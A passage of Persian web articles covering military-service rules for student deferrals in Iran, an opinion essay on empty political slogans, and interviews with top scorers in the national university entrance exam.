ودر صورت سپری شدن بیش از یکسال حق تحصیل نخواهند داشت(قبل از اعزام به خدمت ) منظور از پذیرفته شدن دردانشگاه قبولی قطعی یا ثبت نام در دانشگاه می باشد ،لیکن بعد از اعزام به خدمت ، سپری شدن بیش از یکسال از تاریخ فراغت مقطع متوسطه مانع نخواهد بود و فقط نداشتن غیبت اولیه و پذیرش در مقطع کارشناسی و بالاتر ملاک می باشد .
 بدیهی است زمان اعلام قبولی در آزمون های سراسری به منزله پذیرش تلقی خواهد شدو در مورد پذیرش بدون آزمون در دانشگاه ، زمان ثبت نام به منزله تاریخ پذیرش است .
مثال: فارغ التحصیل۱/۴/۹۱درمقطع متوسطه که حداکثرتا ۱/۴/۹۲ قبولی قطعی یاثبت نام دردانشگاه داشته باشند می توانند ادامه تحصیل بدهند.
 
 ۱۸- فارغ التحصیلان مقطع متوسطه درخردادسال۹۰شرط ثبت نام یاقبولی دردانشگاه آیاحق ادامه تحصیل از مهر ۹۱ را دارند؟
جواب : بله. با توجه به اینکه فارغ التحصیلان خرداد (پس از ورود به سن مشمولیت ) به منزله فارغ التحصیلان  شهریور تلقی می گردندتا پایان شهریور سال بعد مهلت معرفی دارند .
 
 ۱۹- آیابه دوره های فراگیرپیام نور،دوره های بین الملل دردانشگاه وپودمانی وسایرمقاطع تحصیلی بدون آزمون معافیت تحصیلی تعلق می گیرد؟
 جواب : بلی درصورت تصویب شورای گسترش آموزش عالی امکان جذب بدون آزمون واحد آموزشی ، تحصیل اینگونه افراد منعی نخواهد داشت.(به دوره دانشپذیری در دانشگاه پیام نور ، معافیت تحصیلی تعلق نمی گیرد و صرفا از زمان قبولی قطعی و دانشجویی وضعیت مشمول بررسی و در صورت داشتن شرایط معافیت تحصیلی صادر خواهد شد.)
 
۲۰-  آیاسربازان وظیفه ای که به خدمت اشتغال خدمت دارندجهت تحصیل دردانشگاه هااز خدمت ترخیص میشوند؟
جواب : درصورت قبولی اینگونه سربازان درمقطع کارشناسی وبالاترترخیص ازخدمت صورت میگیرد وترخیص برای ادامه تحصیل درمقاطع کاردانی مجاز نمی باشد.
 
۲۱- دانشجویانی که با انصراف ازتحصیل ،به عنوان دارندگان مدرک معادل درمقطع پایین شناخته می شوند آیا مجاز به تحصیل در مقاطع بالاتر می باشند؟
جواب :خیر اینگونه  مشمولان تا پایان خدمت  دوره ضرورت حق ادامه  تحصیل نخواهند داشت .
 
۲۲- آیا دانشجویان اخراجی مجاز به ادامه تحصیل هستند؟
جواب :خیر دانشجویان اخراجی تا پایان خدمت یا اخذ معافیت دائم ، مجاز به ادامه تحصیل نمی باشند.
 
 ۲۳- سقف سنوات های مجاز  تحصیلی  در مقاطع مختلف دانشگاهی ، به  چه میزان می باشد؟
جواب : برابر تبصره (۱) ماده (۳۳) قانون خدمت وظیفه عمومی ، حداکثر معافیت تحصیلی برای دانش آموزان تا سن بیست سال تمام ودر هر یک از مقاطع  تحصیلی کاردانی دو و نیم سال، کارشناسی  ناپیوسته وکارشناسی ارشد ناپیوسته سه سال، کارشناسی پیوسته پنج سال وکارشناسی ارشد  پیوسته شش  سال، دکترای پیوسته  هشت سال و دکترای تخصصی شش سال است.
 
۲۴- چه کسانی میتوانند از معافیت تحصیلی دانش آموزی در خارج از کشور استفاده نمایند؟
جواب : فرزندان ایرانیان مقیم خارج از کشور،چنانچه هنگام ورود به سن مشمولیت (ماه تولد ۱۸ سال تمام) درمدارس ایرانی یا مدارس خارجی مورد تایید وزارت آموزش وپرورش مشغول به تحصیل در مقطع متوسطه باشند می توانند از معافیت تحصیلی استفاده نمایند.
 
۲۵ -آیا تحصیل در دوره های زبان در خارج از کشور برای ورود به دانشگاه درشمول معافیت تحصیلی قرار می گیرند؟
جواب : خیر به این دوره ها معافیت تحصیلی تعلق نمی گیرد.
 
 ۲۶- آیا مشمولانی که در داخل کشور در مقطع متوسطه فارغ التحصیل می شوند، حق تحصیل در خارج از کشور را دارند؟
جواب : خیر آنها به عنوان مقیم خارج از کشور محسوب نشده ومجاز به تحصیل در دانشگاه های خارج از کشور نمی باشند.
 
 ۲۷- چه مشمولانی می توانند بدون آنکه مقیم کشورهای خارجی باشند دردانشگاه های خارج از کشور تحصیل نموده و از معافیت تحصیلی دانش جویان خارج از کشور بهره مند شوند؟
جواب : مشمولانی که در مقاطع کارشناسی یا بالاتر در دانشگاه های داخل کشور فارغ التحصیل شده باشند به شرط عدم ورود به غیبت وسپری نشدن بیش  از یکسال از تاریخ فراغت از تحصیل با سپردن تضمین لازم می توانند از این معافیت استفاده نمایند.(ودیعه لازم فعلا ۱۵ میلیون تومان وجه نقد می باشد.)
 
۲۸- آیا مرخصی تحصیلی جزء سنوات مجاز تحصیلی محسوب می گردد ؟
جواب :بله  دانشگاه ها باید از درج عبارت مرخصی بدون احتساب در سنوات تحصیلی برای دانشجویان مشمول خودداری نمایند.
 
۲۹- آیا مشمول غیر غایبی که بعد از مدت یکسال فرصت تعیین شده دانشگاه قبول شود می تواند از معافیت تحصیلی برخوردار شود؟
جواب :مشمولانی که به دلایل قانونی (معافیت موقت و … )تاریخ اعزام خود را به تعویق می اندازندچنانچه مدت تعویق آنان از مدت یکسال فرصت تعیین شده در قانون بیشتر گردد،  در صورتی که در حین فرصت معرفی تعویق شده (معافیت موقت و …) در دانشگاه قبول شوند ادامه تحصیل و بهره مندی آنان از معافیت تحصیلی بلامانع خواهد بود .
 
۳۰- آیا تحصیل همزمان با خدمت امکان پذیر می باشد؟
جواب :خیر حتی در صورت تایید دانشگاه برای این دسته از دانشجویان معافیت تحصیلی صادر نمی گردد.
 
۳۱- طلاب حوزه های علمیه پس از انصراف یا اخراج از  حوزه علمیه در چه صورت مجاز به ادامه تحصیل می باشند؟
جواب :طلاب حوزه های علمیه در صورت اخراج و یا انصراف از تحصیل تا پایان خدمت و یا اخذ معافیت دائم ، مجاز به ادامه تحصیل نمی باشند .

آیا همزمان با سربازی، می‌توان به دانشگاه رفت؟

به گزارش ایسنا، دکتر محمدحسین امید، رییس دانشگاه جامع علمی کاربردی

مذاکراتی با مسئولان ذی‌ربط برای تحصیل سربازان حین خدمت صورت گرفته است،

به دنبال این خبر شماری از مخاطبان ایسنا در تماس با این خبرگزاری پیگیر این موضوع شدند

که پیگیری‌های خبرنگار ایسنا حاکی از آن است که امکان اجرای چنین طرحی برای دانشجویان یا سربازان وجود ندارد.

حرف های چسفیلی، اداره کشور و سه آزمون رهایی بخش

?⭕️حرف های چسفیلی، اداره کشور و سه آزمون رهایی بخش

می‌گویند اولین مدل ذرت‌ بو داده که وارد ایران شد متعلق به کمپانی انگلیسی چسترفیلد بود و مردم با ساده‌سازی، «چسفیل» را برای ذرت بو داده انتخاب کردند. پاپ‌کورن یا چسفیل، چند خاصیت جالب دارد. آن را می‌شود برای سرگرمی خورد، حتی سیری مصنوعی هم ایجاد می‌کند و می‌شود حجم زیادی از آن‌را هم خورد، اما چسفیل هیچ وقت یک وعده غذا نمی‌شود؛ هیچ عاقلی را نمی‌بینید که قوت و غذایش را با بر اساس چسفیل تنظیم کند، بالاخص اگر کسی قصد داشته باشد کوهنوردی کند یا خود را برای انجام یک روز سخت کاری آماده نماید، کوله‌پشتی‌ای خود را از چسفیل پر نمی‌کند.

مردم برای کوهنوردی تفریحی هم به چسفیل اعتماد نمی‌کنند، اما سیاسمتدارانی هستند که برای اداره کشوری ۸۰ میلیونی با صدها مساله پیچیده، حرف‌هایی می‌زنند که می‌توان آن‌ها را «گفتارهای چسفیلی» نامید. منظورم جملاتی است که در نگاه اول جذاب به نظر میرسند و حتی شنونده درست مثل آدمی که چسفیل می‌خورد، لذت می‌برد و اشتیاق دارد که شمار بیشتری از این چسفیل‌ها را ببلعد، اما این حرف های چسفیلی هیچ مسأله‌ای را حل نمی کند.
چسفیل را می‌شود دور همی خورد، گپ زد، فیلم دید و زمین و زمان را به هم بافت، اما دست آخر یکی می‌پرسد: «خُب شام چی داریم؟»

به نمونه ای از این حرف های چسفیلی توجه کنید:
بهره‌وری پایین در صنایع، یکی از زمینه های معضلات اقتصادی است. باید برای بهبود بهره‌وری فکر اساسی شود.
اکتفا به فروش نفت برای حل معضل رکود اشتباه است. حل معضل رکود، نیازمند زنجیره‌ای از اقدامات است که برطرف کردن موانع کسب و کار یکی از حلقه های آن است.
قطعاً یکی از اولویت‌ها و محورهای کلیدی در طرح اصلاح اقتصادی در کشور، اصلاح عملکرد نظام بانکی است.
دولت با سیستم خسته خود مزاحمتی ایجاد نکند، ما مردم می‌دانیم چگونه در عرصه اقتصاد عمل کنیم.
نرم‌افزار فکری برخی از مدیران ارشد متناسب با اداره یک کشور وابسته و مستعمره هم نیست چه برسد به یک کشوری چون ایران که دارای توانمندی‌های خیره‌کننده در فناوری‌های پیشرفته است.

☑️⭕️تحلیل و تجویز راهبردی:
آنچه در بالا خواندیم بخشی از نوشته درخشان دکتر فاضلی، جامعه پژوه معاصرست. نکته اینجاست که ما همواره در معرض حرف های چسفیلی هستیم و ممکن است به همین دلیل فریب بخوریم و به فردی تمایل پیدا کنیم که بیشتر از همه چسفیل تحویل ما می دهد اما در آخر شام و ناهار هیچ! چه می توان کرد؟ من از سه تست استفاده می کنم تا بفهمم که آیا این حرف چسفیلی هست یا نه؟

۱- تست معکوس کردن مساله: آیا این حرف بازی با واژه هاست یا خیر؟ مثلا خیلی ها به جای آن که راه حل بدهند همان مشکل را واژه آرایی می کنند (برعکس می کنند) و تحویل ما می دهند: مثلا می گویند رسیدگی ویژه به مشکلات خورستان! دقت کنید در این جمله راه حلی ارایه نشده است فقط مشکل معکوس شده است.

۲- تست شنبه صبح: حرف های چسفیلی ما را برمی انگیزانند، لذت می بریم، اما چیزی کف دست ما نمی گذارند. یعنی شنبه صبح وقتی می خواهیم که به آن مساله بپردازیم هیچ (تاکید می کنم هیچ) کمکی به حل مساله نمی کند. از خودمان بپرسیم آیا گوینده «راه حل مشخص و با تراز مثبت» ارایه می کند. مشخص یعنی خیلی واضح بدانیم که شنبه صبح چه کنیم؟ و تراز مثبت یعنی اینکه منافعش بیش از هزینه هایش باشد.
به عنوان مثال مثلا ممکن است بگویند دولت باید به عنوان بزرگ ترین بدهکار، بدهی خود را تسویه کند. اما این حرف در برابر تست شنبه صبح رفوزه است. یا مثالی دیگر مثلا چون می دانند ما از حضور زنان و جوانان در سمت های مدیریتی استقبال می کنیم، صحبت از استفاده از زنان و جوانان خوشفکر و متخصص در سمت های مدیریتی می کنند و می گویند که مدیران فعلی خسته و بی انگیزه اند. خوب باید پرسید شما دقیقا چه سازوکاری برای گذاشتن جوانان در سمت های مدیریتی دارید؟ اگر سازوکار عملی دارید آیا در گذشته آن را اجرا کرده اید؟
۳- تست همه راضی اند؟ اگر راه حل شما همه را خوشحال می کند اما کسی ناراحت نمی شود این یعنی اینکه ما داریم حرف های پوپولیستی می زنیم صرفا برای معرکه گیری. مثلا بسیاری می دانند که اینگونه توزیع یارانه ها، اصلا به صلاح کشور نیست اما چون ترس از ریزش رای دارند از سیصد کیلومتری آن رد هم نمی شوند و اگر هم صحبت کنند فقط خواهند گفت که آن را دو الی سه برابر خواهند کرد.

حرف های چسفیلی برای تئاتر مردم‌دوستی بازی کردن خوب اند. اما نتیجه اش ویرانی کشور است. حواسمان باشد اصولگرا و اصلاح‌طلب، دلواپس و امیدوار به ما چسفیل تحویل ندهند و اگر دادند ما تحویل نگیریم. ما باید کشورداری را از «رویکرد چسفیلی» به سمت «مدیریت راهبردی نظام مند و پاسخگو» حرکت دهیم.

 

رتبه دو

صحبت‌ها و تجربه‌های برترها برای بسیاری از داوطلبان انگیزه‌بخش است و نحوه‌ی مطالعه‌ی آن‌ها، برنامه‌ریزی‌هایشان، دغدغه‌ها و جزئیات تجربیاتشان هر چند برنامه و روش یادگیری هر کسی مختص خود اوست، برای داوطلبان ارزشمند است. اکثر برترها نیز خودشان در سایت یا مجله‌ی کانون سرگذشت برترهای سال‌های گذشته را بررسی و مطالعه می‌کردند و در برخی از موارد از آن‌ها الگوبرداری می‌کردند و یا در اصلاح روش‌هایشان از روش‌های آن‌ها بهره می‌بردند. در مقاله‌ی زیر، رتبه‌ی ۲ کشوری و رتبه ۱ منطقه ۱  رشته‌ی ریاضی در کنکور ۱۳۹۵،  امیرمحمد فرزانه تجربیاتش را در اختیار شما قرار داده است:

او در مقاله‌‌ی دیگری نیز قبلا در مورد منابع مطالعاتی‌اش برای شما کنکوری‌ها صحبت کرده بود که در سایت کانون در دسترس است.

لطفا خودتان را معرفی کنید و بفرمائید چه رتبه‌ای را از چه شهری کسب کردید؟

من امیرمحمد فرزانه هستم رتبه‌ی ۱ منطقه‌ی ۱ رشته‌ی ریاضی از تهران. از سال چهارم دبیرستان به کانون آمدم. چون آزمون‌های کانون معتبر و جامعه‌ی آماری‌ آن بالا بود از طریق مدرسه ثبت‌نام کردم، غیر از امسال، سوم دبستان هم عضو کانون بودم.

مهمترین ویژگی شخصیت آموزشی خودتان را چه می‌دانید؟

برنامه‌ریزی خیلی دقیقی برای درس خواندنم داشتم و این‌که سعی می‌کردم آن زمانی که درس می‌خواندم اصلا وقت تلف شده نداشته باشم و این‌که هر وقت استرسی به سراغم می‌‌آمد سعی می‌کردم آن را از خودم دور کنم.

این اراده را چگونه به دست آوردید؟

بخاطر این‌که از اول که شروع کردم برای کنکور خواندن هدفم این بود که رتبه‌ی من خیلی خوب بشود اولش هم خودم نمی‌دانستم برنامه‌ریزی را چطور انجام بدهم و مشاور مدرسه‌ی ما خیلی به من در این زمینه کمک می‌کرد.

شما گفتید بازیابی را به بازخوانی ترجیح می‌دادید. این موضوع را توضیح می‌دهید؟

یعنی من سعی می‌کردم مطلبی را که می‌خوانم طوری نباشد که بعدا که به آن مبحث برگردم، بینم نکته‌ی جدیدی دارد. سعی می‌کردم همان بار اول که می‌خوانم کامل بخوانم و برای سری‌های بعد اگر به مشکلی برخوردم دوباره به موضوع برگردم و به خاطر تسلط نداشتن به آن مبحث نباشد که برمی‌گردم.

شما گفته‌اید قدرت نه گفتن داشته‌اید، آرامش شما به تدریج بیشتر شده، خودتان را سخت‌کوش می‌دانید و وضوح و شفافیت در تصمیم‌گیری‌هایتان داشتید و کارهای عجیب و غریب انجام ندادید. در مورد این‌که کارهای عجیب و غریب نکردید توضیح می‌دهید؟

مثلا من از اول که برای کنکور شروع به خواندن کردم خصوصا در امتحان دادن و روش درس خواندنم، یک روش مخصوص خودم را داشتم، بعضی از معلم‌ها سعی می‌کنند یک روشی را به دانش‌آموزان بگویند که مثلا یک روشی که سریع‌تر کمک به پاسخ می‌کند ولی من همیشه روش خودم را داشتم، نمی‌گویم روش‌های بدی می‌گویند ولی به نظر من هر کسی باید روش خاص خودش را پیدا کند و با آن جلو برود.

چرا شما به دفترچه‌ی آزمون‌های غیرحضوری اهمیت زیادی می‌دادید؟

اولویتم مخصوصا اوایل سال که برنامه‌ای جلو می‌رفتم، بعد از هر آزمون، این بود که برای آزمون بعدی آماده شوم و چیزی که خیلی کمکم کرد این بود که بعد یک هفته و نیم که از آزمون می‌گذشت می‌خواستم ببینم چقدر برای آزمون جدید آماده هستم و چون این دفترچه شامل مباحث آزمون بعدی است از آن استفاده می‌کردم.

شما نوشته‌‌اید آزمون‌های کانون با کنکور هماهنگی زیادی دارند. این جمله را توضیح می‌دهید؟

بله به خاطر این‌که در چینش سوال‌ها و مباحثی که در هر درس می‌آید مخصوصا آزمون‌های جامع، هماهنگی کامل را داشت و تعداد سوال‌هایش هم که یکی بود در کل خیلی به من کمک کرد که بتوانم محیط کنکور را شبیه‌سازسازی کنم و برای آن آماده شوم.

گویا شما حتی وقتی نمره‌ی آزمون قبلیتان هم خوب نمی‌شد آزمون بعدی را شرکت می‌کردید. چطور می‌شد که غیبت نمی‌کردید؟

به خاطر این‌که این آزمون‌ها برای این است ‌که شخص یادگیری‌اش را افزایش بدهد و برای آزمون اصلی آماده شود اتفاقا اگر در آزمونی افت می‌کردم یا ترازم نسبت به آزمون قبلی کمتر می‌شد این بیشتر برای من انگیزه می‌شد که نقاط ضعفم را پیدا کنم و آزمون بعدی را بهتر بدهم.

شما از ویژگی‌های سه‌گانه آزمون‌های کانون یعنی برنامه‌ای، آموزشی و سنجشی بودن کدامیک را برای خودتان موثر می‌دانید؟

هر سه برای من موثر بود ولی از همه موثرتر برنامه‌ای بودن آن بود و به من کمک کرد بتوانم اوایل سال که هنوز درس را نخوانده بودیم برنامه‌ی درس خواندم مطابق آزمون‌های کانون شود. حتی اگر هم برنامه‌ی کانون از مدرسه جلوتر بود خودم درس‌ها را جلوتر می‌خواندم تا با برنامه‌ی کانون همراه باشم.

کانون و برنامه‌ی آزمون‌ها برای چه کسانی مناسب است؟ دانش‌آموزان زرنگ‌تر یا کسانی که خودشان برنامه‌ای ندارند یا کمتر فکر می‌کنند؟

برای همه. همین که جلو می‌رود خوب است، چون جلو رفتن برنامه‌ی راهبردی منطقی و معقول بود نه خیلی سریع نه خیلی کند که سبب می‌شود عقب بیفتیم.

این سبب نمی‌شود که جلوی فکر کردن و برنامه ریختن دانش‌آموز را بگیرد؟

نه اتفاقا کمک می‌کند و دانش‌آموز می‌داند در بازه‌ی ۲ هفته‌ای بین آزمون‌ها چه مباحثی را باید دوره کند یا به آن‌چه قبلا آموزش دیده‌ اضافه کند.

شخصا برنامه‌ی راهبردی آزمون را چطوری بررسی می‌کردید قبل ثبت‌نام بررسی کردید یا ۲ هفته یک‌بار؟

هر بار هر آزمون را که می‌دادم دقت می‌کردم چه مباحثی به آزمون قبلی اضافه شده است و سعی می‌کردم ‌آن‌ها را بخوانم یا بعضی وقت‌ها که مرور مطالب قبلی بود آن‌هارا مرور می‌کردم.

شغل و تحصیلات پدر و مادرتان را بفرمائید:

پدرم لیسانس زبان دارند و شغلشان آزاد است و مادرم دیپلم دارد و خانه‌دار است.

چقدر با شما صحبت می‌کردند؟

با من در مورد درس‌هایم صحبت می‌کردند و اخبار را همیشه از من می‌گرفتند که در آزمون یا درس‌هایم نتیجه‌ی من چطوری بوده ولی هیچ‌وقت از طرف خانواده فشاری روی من نبوده است یعنی مثلا حتی اگر آزمون را بد می‌دادم.

در واقع به شما اعتماد می‌کردند؟

بله

شماخوب بودید اعتماد می‌کردند یا چون اعتماد می‌کردند شما خوب شدید؟

شاید چون از اول به من اعتماد داشتند خودم هم دوست داشتم خوب باشم.

نکته‌ای هست که بخواهید بیان کنید؟

فقط توصیه‌ی من به کسانی که کنکور پیش رویشان است این است که علاوه بر این‌که درسشان را می‌خوانند و کنکور را جلو می‌برند به کنکور خیلی به عنوان چیزی که خیلی سخت است و نمی‌شود از آن عبور کرد نگاه نکنند و با این‌که برایشان مهم باشد خیلی راحت بگیرند و به عنوان کار سخت به آن نگاه نکنند.

رتبه یک با معدل یازده

مصاحبه با رستگار رحمانی تنها، رتبه اول تجربی و زبان های خارجی

خیلی‌ها دوست دارند به قطاری که در حال حرکت است، سنگ بزنند و کسی دوست ندارد به قطار ایستاده در ایستگاه سنگ بزند. اگر ایمان دارید راهی که می‌روید رضایت خدا و خلق را به همراه دارد باید بدون فکر به حرف و گاهی حسادت‌های اطرافیان در آن مسیر حرکت کنید؛ این سنگ‌ها همیشه هست. نباید از ظاهر و قیافه کسی درباره اعمالش قضاوت کرد باید خوشحال شویم که کسی از ما جلوتر است اما نمی‌دانم چرا گاهی این مسائل نادیده گرفته می‌شود… مثال زنده این جملات جریان رتبه اول کنکور سراسری در رشته تجربی است.

وقتی نتایج کنکور سراسری ۸۸ اعلام شد، شاید کمتر کسی فکر می‌کرد نفر اول گروه‌های تجربی و زبان‌های خارجی و چهل و چهارم رشته هنر؛ دیپلمه‌ای ریاضی باشد که به امید خدمت به مردم محروم منطقه خود می‌خواهد پزشک شود. رستگار رحمانی فرزند خانواده‌ای ۱۰ نفره است که پدرش کارگر ساختمان و مادرش خانه‌دار است.

رتبه یک تجربی سال ۸۸، اهل محله بهداری از شهر مرزی جوانرود با جمعیتی بالغ بر ۵۰ هزار نفر است؛ از جایی که مهم‌ترین امکاناتش پارک تفریحی تجهیز نشده‌ای است که سینما، تئاتر، کافی شاپ، رستوران و… ندارد. نخبه جوان ما دوران متوسطه خود را در محله قرگه در دبیرستان معراج جوانرود سپری کرد و پس از آن در پیش‌دانشگاهی ادیب جوانرود واقع در محله هلانیه ادامه تحصیل داد. او پس از پایان خدمت سربازی با چهار ماه فرصت مطالعه موفق شد با شرکت در کنکور سراسری سال ۱۳۸۸ رتبه اول کشوری را در دو گروه آزمایشی علوم تجربی و زبان‌های خارجی از آن خود کند. دلایل تحصیل و درد دل‌های این جوان کرمانشاهی که توانسته است خیل عظیم حریفان را در میدان رقابت کنار بزند و عنوان قهرمان ماراتن کنکور را با تحمل سختی‌ها و مشقات بسیاری به دست آورد؛ شنیدنی است… زمانی که داستان زندگی او را می‌شنوید، انگار که یک فیلم هندی دیده‌اید، به خصوص زمانی که می‌گوید: در یک انباری ۲ در ۳ متری درس می‌خواندم.

شما که دیپلم ریاضی هستید چرا برای کنکور، رشته تجربی را انتخاب کردید؟

رستگار: رشته‌های مهندسی متقاضی زیادی دارند اما پس از فارغ‌التحصیلی بازارکار تضمین شده‌ای در انتظار این رشته‌ها نیست. من ترجیح می‌دادم که در رشته‌ای تحصیل کنم که پس از فارغ‌التحصیلی شغل تضمین شده‌ای داشته باشد.

حالا چه رشته‌ای و چه دانشگاهی را انتخاب کردید؟

رستگار: رشته پزشکی دانشگاه تهران، زیرا به امید خدمت به مردم محروم منطقه خود می‌خواهم پزشک شوم. شهر ما از خدمات تخصصی و پیشرفته پزشکی محروم است. بیشتر مردم برای کارهای تخصصی پزشکی باید به کرمانشاه بروند. می‌خواهم پزشکی که خواندم، برگردم و به مردم شهرم خدمت کنم.

رتبه یک بودن برایتان مهم بود؟ برای انتخاب این رشته که مهم نبود حتما اول باشید؟

رستگار: برای انتخاب رشته که نه، تفاوتی نمی‌کرد متنها باید رتبه زیر صد می‌گرفتم، اما دلیل اصلی من برای کسب این رتبه شادی پدر و مادرم بودند.

پس برای کسب رتبه درس می‌خواندید؟

رستگار: بله؛ من کسب رتبه تک‌رقمی (حداقل در سطح منطقه خودمان) را به عنوان هدف خودم قرار داده بودم و از آنجا که می‌دانستم کار سختی را پیش‌رو دارم با برنامه‌ریزی و بررسی نقاط ضعف و قوت خود برنامه مطالعاتی خود را ادامه دادم.

کسب رتبه برتر ویژگی خاصی می‌خواهد؟

رستگار: متاسفانه ذهنیت اکثر افراد جامعه این است؛ البته خودم هم قبلا همین فکر را می‌کردم اما حالا متوجه شدم قبولی در هر کاری فقط با توکل به خدا و پشتکار فرد امکان‌پذیر است. کسب رتبه برتر کنکور به شرایط و امکانات خاصی نیاز ندارد، بلکه پشتکار و تلاش فرد را می‌طلبد.

خانواده چقدر در کسب این موفقیت شما نقش داشت؟

رستگار: حمایت و پشتیبانی خانواده و معلمانم با وجود امکانات بسیار کم، عامل مهمی در به دست آوردن این موفقیت بود. خانواده به خاطر من سختی‌های زیادی را تحمل کردند معلمان شهرستان جوانرود نیز با وجود کمبود وقت و امکانات، تلاش‌های فراوانی بدون هیچ چشمداشتی، نه تنها برای من بلکه برای دانش‌آموزان این شهرستان انجام داده و می‌دهند.

کمی درباره نحوه و روش درس خواندنتان برای ما بگویید؟

رستگار: از اول بهمن سال گذشته؛ روزی هفت تا هشت ساعت مطالعه داشتم. بعد از ایام عید این میزان مطالعه به روزی هشت تا ۱۰ ساعت رسید و در آستانه کنکور نیز روزی ۱۲ تا ۱۳ ساعت مطالعه داشتم. اساس کار را بر سه دوره مطالعه دروس پیش‌دانشگاهی و سال دوم دبیرستان در مرحله اول، دروس پیش‌دانشگاهی و سال سوم دبیرستان در مرحله دوم و جمع‌بندی قرار دادم.

بیشتر کجا درس می‌خواندید؟

رستگار: خانواده من یک خانواده پرجمعیت است و با خواهران و برادرانم زندگی می‌کنم. پدرم کارگر و مادرم خانه‌دار است و بچه‌های دیگر هم یا در حال تحصیل در مدرسه یا در دانشگاه ه

ستند. برای اینکه جایی داشته باشم که دور از سر و صدا درس بخوانم می‌رفتم انباری؛ یک اتاق کوچک ۲ در ۳.

از کتاب‌های آموزشی خاصی برای کنکور استفاده کردید؟

رستگار: تنها از تست آزمون‌های سال گذشته، برخی کتاب‌های تست‌زنی معتبر همراه با برنامه‌ریزی و تکرار و مرور دروس استفاده کردم و همه اینها را رمز موفقیت خود می‌دانم.

کلاس یا آزمون آزمایشی چطور؟

رستگار: کلاس کنکوری وجود نداشت که بروم اما در آزمون‌های آزمایشی که هر دو هفته یک بار برگزار می‌شد؛ شرکت می‌کردم و در همان آزمون‌ها نمرات خوبی به دست می‌آوردم. هدفم کسب رتبه اول تا دهم بود. در هیچ کلاس کنکوری ثبت‌نام نکردم و با توجه به کمبود امکانات در محل زندگی‌مان رقابت با داوطلبانی که حداکثر امکانات در مراکز استان‌ها را داشتند؛ سخت بود.

چرا در میان انبوه کلاس‌های خصوصی، معلم خصوصی، دوپینگ علمی و… در شهرهای بزرگ، یک دیپلم ریاضی از یک شهر کوچک، رتبه اول کنکور را به دست می‌آورد؟

رستگار: انگیزه و تلاش. این دو عامل رمز موفقیت دانش‌آموزان شهرهای کوچک است. آنها این انگیزه را دارند که به موفقیت برسند و با وجود کمبود یا حتی نبود امکانات مناسب آموزشی و کمک آموزشی می‌توانند به سطحی برسند که قابل توجه است.

مشوق اصلی شما برای شرکت در کنکور چه کسی بود؟

رستگار: با اینکه پدر و مادرم شناخت کمی نسبت به مسائل کنکور، سهمیه‌ها، مناطق و این جور موضوعات دارند اما پس از هر آزمون آزمایشی پیگیر بودند و همواره مشوقم بودند.

به نظر شما سوالات کنکور امسال چطور بود؟

رستگار: سطح سوالات کنکور امسال خوب بود اما به نظر من سوالات عمومی وقت گیر بود.

راستی چرا زبان؟

رستگار: از اول به زبان انگلیسی و کتاب‌های مکالمه علاقه‌مند شدم، اما پس از آن در کلاس زبان شرکت کردم و این موضوع را به صورت جدی پیگیری کردم.

فکر می‌کردید در رشته زبان‌های خارجی هم رتبه اول را کسب کنید؟

رستگار: فکر می‌کردم در رشته علوم تجربی رتبه‌ام تک‌رقمی شود، اما تصور نمی‌کردم رتبه اول را کسب کنم اما در رشته زبان اصلا فکر نمی‌کردم. مطمئن نبودم در این گروه اول شوم اما حدس می‌زدم که رتبه تک‌رقمی منطقه خودمان را به دست آورم.

قضیه شک سازمان سنجش و این آزمون دوباره چه بود؟

رستگار: این برای خود من هم جای سوال داشت و دارد. به من چیزی در این باره نگفتند، فقط گفتند که ضرورت دارد قبل از اعلام نتایج نهایی در این آزمون دوباره شرکت کنید. به اعتقاد من این موضوع تنها یک معنی دارد و آن هم این است نتیجه‌ای که به‌دست آمده از راه دیگری به دست آمده و مربوط به من نیست.

شما هم در این آزمون دوباره شرکت کردید؛ چرا؟

رستگار: اگر شرکت نمی‌کردم نتایجم حذف می‌شد، اما من شرکت کردم گویا نتایج این آزمون دوباره از آزمون سراسری بهتر شد و حتی درس‌هایی که صددرصد نزده بودم را این بار صد زدم.

باز هم برای ما سوال است؛ چرا آزمون دوباره چون بچه شهرستانی بودید؟

رستگار: برای من هم همین طور؛ بر فرض اینکه نتیجه از آن من نبود اما خودشان قضاوت کنند چطور بدون مطالعه درست می‌توان در دو رشته رتبه اول را کسب کرد شاید در یکی از این دو رشته با آن مسائلی که آنها فکر می‌کردند به این نتیجه رسیدم اما رشته دیگر چی یا آن رشته‌ای که در آن رتبه دورقمی را کسب کردم؛ چی؟! همه می‌دانند از مراحل طرح سوالات کنکور تا چاپ و توزیع آنها قرنطینه شدیدی وجود دارد پس امکان لو رفتن سوالات منتفی است. من هرچه فکر می‌کنم دلیل منطقی برای امتحان دوباره نمی‌بینم البته باز هم مشکلی نیست اما باید این را بدانیم که بعد از یک ماه و نیم از کنکور دیگر داوطلب آن آمادگی زمان امتحان را ندارد.

قبل از سال ۸۸ هم در کنکور شرکت کرده بودید؟

رستگار: اینکه در سال‌های ۸۲ تا ۸۵ اقدام به شرکت در کنکور نکردم دلیلش برای خودم محفوظ بماند اما در سال ۸۵ به دلیل اعزام به خدمت سربازی نتوانستم به دانشگاه راه یابم در حقیقت در آن سال برای اولین بار در کنکور شرکت کردم و آن زمان در رشته خودم یعنی ریاضی امتحان دادم و رتبه ۳۰ کشور و دوم منطقه و سوم زبان‌های خارجی را کسب کردم اما به دلایل مشکلات شخصی (ترجیح می‌دهم درباره‌اش حرف نزنم) نتوانستم به موقع ثبت‌نام کنم و زمانی که برای ثبت‌نام مراجعه کردم سنم از حد نصابی که برای معافیت تحصیلی لازم است فراتر رفته بود و باید به خدمت سربازی می‌رفتم. بعد از اتمام خدمت سربازی یعنی بهمن سال ۸۷ بود که این بار برای کنکور تجربی شروع به درس خواندن کردم.

دوست نداشتی به جای درس و دانشگاه کمک حال پدرت شوی؟

رستگار: شاید خودم هم دلم می‌خواست این کار را بکنم، در یک مقطعی مخصوصا بعد از سربازی فکر کردم درس را کنار بگذارم مخصوصا که خب دو سال از درس و کتاب دور شده بودم، اما باور نمی‌کنید پدرم خودش این اجازه را به من نمی‌داد و می‌گفت: من حداقل امکانات را 

برایت فراهم می‌کنم تا درس بخوانی.

هدفتان در زندگی چیست؟

رستگار: مهم‌ترین هدف من، خدمت به مردم به خصوص مردم شهرستان جوانرود است قطعا با حمایت دولتمردان و مسئولان می‌توانم به هدف بزرگم یعنی خدمت به میهن برسم.

برای آینده چه فکر و تصمیمی دارید؟

رستگار: با رشته‌ای که انتخاب کردم زمینه‌ای برایم فراهم شده که شرایطم را بهتر از گذشته کرده است، می‌خواهم در رشته‌ای که وارد می‌شوم مثمرثمر باشم و کارهایی دور از کلیشه انجام دهم و در نهایت پدر و مادرم را خوشحال ببینم.

